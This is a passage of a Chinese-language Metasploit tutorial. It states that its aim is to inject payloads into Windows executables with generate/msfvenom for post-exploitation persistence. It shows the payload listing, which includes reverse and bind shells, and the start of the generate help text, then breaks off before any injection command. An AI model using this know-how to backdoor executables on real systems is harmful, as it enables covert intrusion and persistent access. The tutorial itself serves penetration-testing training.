前言
msfconsole下的generate与msfvomen命令实际是不同环境下的同一个命令,其功能基本相同,这里我们要学习的重点是使用-k -x 选项将payload注入到可以执行文件exe中,这项技能在实战中后渗透测试的可持久化中经常会被用到。
一、msf命令提示符下generate命令生成
1、首先可以使用show payloads命令查看所有的payload,然后使用use命令选中其中一个。
msf5 > show payloads
Payloads
========
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 aix/ppc/shell_bind_tcp manual No AIX Command Shell, Bind TCP Inline
1 aix/ppc/shell_find_port manual No AIX Command Shell, Find Port Inline
2 aix/ppc/shell_interact manual No AIX execve Shell for inetd
3 aix/ppc/shell_reverse_tcp manual No AIX Command Shell, Reverse TCP Inline
...
...
559 windows/x64/vncinject/reverse_tcp_uuid manual No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
560 windows/x64/vncinject/reverse_winhttp manual No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
561 windows/x64/vncinject/reverse_winhttps manual No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
2、使用generate -h查看命令帮助
msf5 payload(windows/shell_bind_tcp) > generate -h
Usage: generate [options]
Generates a payload. Datastore options may be supplied after normal options.
Example: generate -f python LHOST=127.0.0.1
OPTIONS:
-E Force encoding
-O <